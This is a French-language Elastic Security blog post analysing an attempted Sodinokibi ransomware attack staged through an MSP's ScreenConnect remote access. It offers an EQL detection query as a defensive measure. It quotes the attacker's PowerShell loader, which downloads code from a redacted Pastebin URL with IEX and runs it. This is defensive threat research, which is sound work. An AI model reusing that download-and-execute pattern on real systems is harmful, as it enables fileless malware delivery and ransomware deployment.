Ransomware : bas les masques ! Sodinokibi et la chaîne d'approvisionnement | Elastic Blog
Technique

Ransomware : bas les masques ! Sodinokibi et la chaîne d'approvisionnement

La solution Elastic Endpoint Security mentionnée dans cet article est désormais désignée par Elastic Security. La solution Elastic Security est plus complète car elle propose la sécurité des points de terminaison, une fonction SIEM, la recherche de menaces, le monitoring du cloud et bien plus encore. Toute mention ultérieure à la sécurité des points de terminaison Elastic fera référence à la protection spécifique contre les malware que les utilisateurs peuvent activer dans le Gestionnaire d'ingestion.

Le mois dernier, l'équipe Protections d'Elastic Security a déjoué une tentative d'attaque par ransomware qui ciblait une organisation monitorée par l'un de nos clients, fournisseur de services informatiques gérés (MSP). Une fois les tentatives d'injection de processus malveillants bloquées par Elastic Endpoint Security sur différents points de terminaison, nous avons analysé les alertes générées. Les adversaires tentent souvent d'injecter leur code malveillant dans un processus en cours d'exécution. Ils chiffrent ensuite les données et les prennent en otage en vue d'obtenir une rançon de leur victime.

Dans notre cas, le comportement que nous avons observé est cohérent avec les rapports relatifs aux acteurs malveillants ayant ciblé des MSP pour déployer un ransomware à l'échelle de l'entreprise. L'impact de telles attaques ne cesse de s'amplifier : elles mettent à mal la relation de confiance que les MSP ont tissée avec leurs clients, et sont capables de paralyser de petites entreprises, de perturber les transports, voire de compromettre des services municipaux stratégiques.

Dans notre cas, il est important de souligner que l'adversaire avait accédé à l'environnement cible via un autre MSP, qui n'utilisait pas Elastic Security — nous n'avons pas d'informations précises sur cet environnement, ni sur la façon dont il a pu être compromis, ce fournisseur ne faisant pas partie de nos clients.

Dans cet article, nous parlerons du comportement malveillant que nous avons observé et bloqué, nous verrons pourquoi ce type d'attaques atteint souvent sa cible, et ce que vous pouvez faire pour les rendre inopérantes dans votre entreprise.

Au sein d'Elastic Security Engineering, l'équipe Elastic Security Intelligence and Analytics exploite les données télémétriques de sécurité fournies par des clients volontaires anonymisés, afin de rechercher des menaces et d'améliorer les produits, entre autres grâce à la collecte des métadonnées entourant les alertes. Et grâce au monitoring de modèles d'événements touchant de nombreux clients, nous sommes en mesure de prendre rapidement des décisions, ce qui nous permet de mieux prévenir les menaces émergentes ou de fournir à la communauté des informations essentielles.

Empêcher l'injection de processus malveillants

Nous avons détecté le premier signe de compromission au moment où différentes tentatives d'injection de processus ont été empêchées. L'injection de processus peut être utilisée pour exécuter du code dans l'espace d'adressage d'un processus en cours d'exécution. Les adversaires emploient souvent cette méthode pour tenter de contourner les produits de sécurité ou pour injecter leur code malveillant dans un processus exécuté à un niveau d'intégrité supérieur, afin d'accroître leurs privilèges.

ransomware-prevention-blog-process-injection-alerts.png

Alertes signalant des injections de processus sur la plateforme Elastic Endpoint Security

L'analyse des alertes d'injection de processus nous a permis d'établir que les adversaires avaient exploité PowerShell, un puissant framework de script natif, afin qu'il s'injecte un shellcode à lui-même – un comportement habituellement malveillant. Le processus powershell.exe avait été créé en tant que descendant de ScreenConnect.WindowsClient.exe, une application de support technique à distance pour les postes de travail. Ce type de logiciel permet aux administrateurs informatiques de se connecter à des ordinateurs distants pour assister les utilisateurs finaux, mais de telles applications sont souvent exploitées par les attaquants – une tactique appelée "living off the land".

Dans la figure ci-dessous, nous voyons le lignage de processus inhabituel associé à ce cas, tel qu'il apparaît dans Resolver™, notre outil de visualisation qui affiche les événements associés à une attaque.

Resolver™ affichant le lignage de processus associé à la tentative d'injection de processus

Notez bien que cmd.exe et powershell.exe sont tous deux des descendants du processus ScreenConnect.WindowsClient.exe. Cela est suspect, sachant qu'ils peuvent exécuter des commandes ou des scripts malveillants, même si pris isolément, cela n'indique pas nécessairement une activité malveillante. Pour rechercher les comportements malveillants, les détecter et y répondre, il est essentiel de disposer d'une base de référence qui permette de mieux appréhender votre environnement, et de comprendre les relations qui existent entre les processus normaux de votre entreprise.

Dans notre cas, l'examen des processus et de leurs arguments de ligne de commande a révélé que l'adversaire avait exploité le logiciel de bureau à distance ScreenConnect pour se connecter et copier un fichier de commandes vers le point de terminaison cible. De plus, l'examen d'un des processus cmd.exe dans Resolver™ a montré que le fichier de commandes contenait un script PowerShell codé en Base64, qui avait ensuite été exécuté.

Détecter et bloquer les comportements indésirables avec EQL

Si cette cible potentielle protégée par Elastic Endpoint Security a pu neutraliser un ransomware, nombreux sont les MSP qui tentent encore de comprendre comment faire face à ce type d'attaque. L'adversaire a conscience que les fournisseurs de services passent souvent un contrat de confiance implicite avec leurs clients et que la valeur de tout fournisseur dépend de cette relation.

Comme nous venons de le voir dans cet exemple, une fois que l'adversaire parvient à accéder à l'environnement cible, il recherche et exploite habituellement ces relations de confiance implicites. L'organisation victime fait confiance aux connexions à son environnement que lui fournit son MSP via l'application de support technique à distance pour les postes de travail, ce qui entraîne un risque de compromission de la chaîne d'approvisionnement.

Lorsqu'on réfléchit à la façon de monitorer et de protéger ces relations de confiance, il est judicieux de se concentrer en premier lieu sur les applications qui se connectent au réseau via le partenaire de confiance. Établir une liste noire des processus descendants de ScreenConnect pour éviter ce comportement malveillant n'est peut-être pas une solution viable, puisque cela risque d'empêcher le personnel de support technique légitime d'intervenir efficacement. Il n'en demeure pas moins qu'une équipe de monitoring de la sécurité peut juger qu'un processus descendant de ScreenConnect passant par le réseau est suspect, et qu'elle veuille détecter et empêcher ce comportement. Cela est possible grâce au langage de requête orienté événements d'Elastic, ou EQL (Event Query Language), et constitue une approche générique de la prise de conscience de l'environnement.

Ci-dessous, la requête EQL recherche une séquence de deux événements liés par l'identifiant unique du processus (PID). Le premier événement recherche un processus descendant de ScreenConnect*.exe. Le deuxième recherche l'activité réseau du processus descendant. On peut facilement étendre cette requête à d'autres logiciels d'accès à distance ou l'utiliser pour filtrer l'activité attendue dans un environnement donné.

sequence by unique_pid
  [process where descendant of [process where process_name == "ScreenConnect*.exe"]]
  [network where true]

Avec Elastic Endpoint Security, il est aussi possible de configurer une action de réponse Reflex – une méthode que permet aux clients d'implémenter leurs propres règles de prévention personnalisées. Par exemple, on peut arrêter le processus descendant lorsqu'il établit une connexion réseau, ce qui peut empêcher qu'un autre code malveillant ne soit téléchargé ou qu'il ne prenne le contrôle de l'activité.

Configuration d'une action de réponse Reflex sur la plateforme Elastic Endpoint Security

Elastic Endpoint Security intègre une centaine de nos outils d'analyse basés sur le comportement, qui permettent de détecter et d'empêcher les relations de processus anormaux impliquant des outils administratifs tiers ou des fichiers binaires natifs des systèmes d'exploitation Windows, MacOS ou Linux.

Analyse des techniques de l'adversaire

Le script PowerShell exécuté a commencé par vérifier l'architecture du processeur avant d'utiliser la classe WebClient .NET pour télécharger du contenu depuis Pastebin, et la cmdlet Invoke-Expression (IEX) pour exécuter le code. Il s'agit là d'une technique couramment employée par les attaquants pour télécharger et exécuter du code via PowerShell.

Pastebin est un service d'hébergement et de partage de texte brut, dans lequel les utilisateurs légitimes partagent souvent des extraits de code. Cependant, les utilisateurs malveillants exploitent aussi Pastebin et des sites web similaires pour y stocker du code malveillant ou y publier des informations d'identification qui ont fuité.

If ($ENV:PROCESSOR_ARCHITECTURE  - contains 'AMD64')  {
    Start - Process  - FilePath "$Env:WINDIR\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"  - argument "IEX ((new-object net.webclient).downloadstring('https://pastebin[.]com/raw/[REDACTED]'));Invoke-LJJJIWVSRIMKPOD;Start-Sleep -s 1000000;"
} else {
    IEX ((new - object net.webclient).downloadstring('https://pastebin[.]com/raw/[REDACTED]'));
    Invoke - LJJJIWVSRIMKPOD;
    Start - Sleep  - s 1000000;
}
Script PowerShell utilisé pour télécharger du contenu1 depuis pastebin.com

On classe souvent ce type de comportement dans la catégorie des attaques sans fichier ou en mémoire, en raison de l'activité nulle ou quasi nulle du disque qu'il génère sur le point de terminaison. Lorsque l'agent Elastic Endpoint Security détecte une attaque sans fichier, il collecte et extrait automatiquement le code et les chaînes intermédiaires injectés. Grâce à cette fonctionnalité, nous avons une visibilité totale sur le comportement que nous sommes en train d'empêcher.

Lors de l'analyse de certaines chaînes collectées via VirusTotal, nous avons découvert différents spécimens de la famille de ransomware Sodinokibi.

Les traces d'outils et comportements spécifiques ci-dessous indiquent en effet que cette activité cadre avec l'exécution des spécimens de ransomware Sodinokibi ou Gandcrab, tels que signalés par BleepingComputer et Cynet :

  • L'acteur malveillant s'est servi du logiciel de support technique à distance ScreenConnect pour se connecter à l'entreprise cible via un MSP compromis.
  • ScreenConnect lui a permis de copier un script de commandes vers les points de terminaison, ce dernier contenant un script PowerShell visant à télécharger et à injecter du code malveillant depuis Pastebin.
  • Le script PowerShell contenait quant à lui des cmdlets et des chaînes (telles que Invoke-LJJJIWVSRIMKPOD et Start-Sleep) déjà observées dans des campagnes de ransomware Sodinokibi.
  • Les chaînes collectées depuis les threads injectés cadrent avec les exemples de ransomware Sodinokibi envoyés à VirusTotal au cours des dernières 24 heures.

Une fois la tentative d'auto-injection de shellcode et d'exécution du ransomware empêchée, l'adversaire a cessé son attaque sur le point de terminaison initial. 15 minutes plus tard, il est revenu et a tenté d'exécuter les mêmes procédures sur cinq autres points de terminaison, avant d'abandonner. Toutes ses tentatives de déploiement de ransomware ont été empêchées.

Pour conclure

Dans cet article, nous nous sommes penchés sur un cas réel, dans lequel un acteur malveillant a exploité la relation de confiance entre un MSP et ses clients, pour tenter de déployer un ransomware. Cet exemple souligne à quel point il est important de comprendre les relations qu'entretient votre organisation avec de tierces parties, ainsi que les conséquences potentielles que peut entraîner l'exploitation de ces connexions à mauvais escient.

L'analyse des alertes a révélé que l'adversaire s'était connecté à l'environnement du client via un logiciel de support technique à distance pour postes de travail, et qu'il avait exécuté un script malveillant dans l'intention de télécharger, d'injecter et d'exécuter un ransomware. Toutes les tentatives de l'adversaire ont été empêchées.

Ce case démontre aussi qu'il est important d'adopter une approche multicouche de la sécurité, tout en étant capable de détecter et d'empêcher le comportement et les attaques sans fichier de l'adversaire. Nous avons décortiqué les procédures des attaquants et montré comment exploiter EQL et Reflex pour créer des règles et des réponses personnalisées.

Rechercher des fichiers malveillants ne suffit pas. Elastic Endpoint Security propose plusieurs couches de protections basées sur le comportement, conçues pour neutraliser le ransomware, les attaques sans fichier, le phishing, l'exploitation des failles de sécurité et le comportement de l'adversaire.

Nous sommes en train d'ajouter la prise en charge EQL à Elasticsearch.

1 — Le contenu a depuis été supprimé de Pastebin par son auteur ou par l'équipe de Pastebin.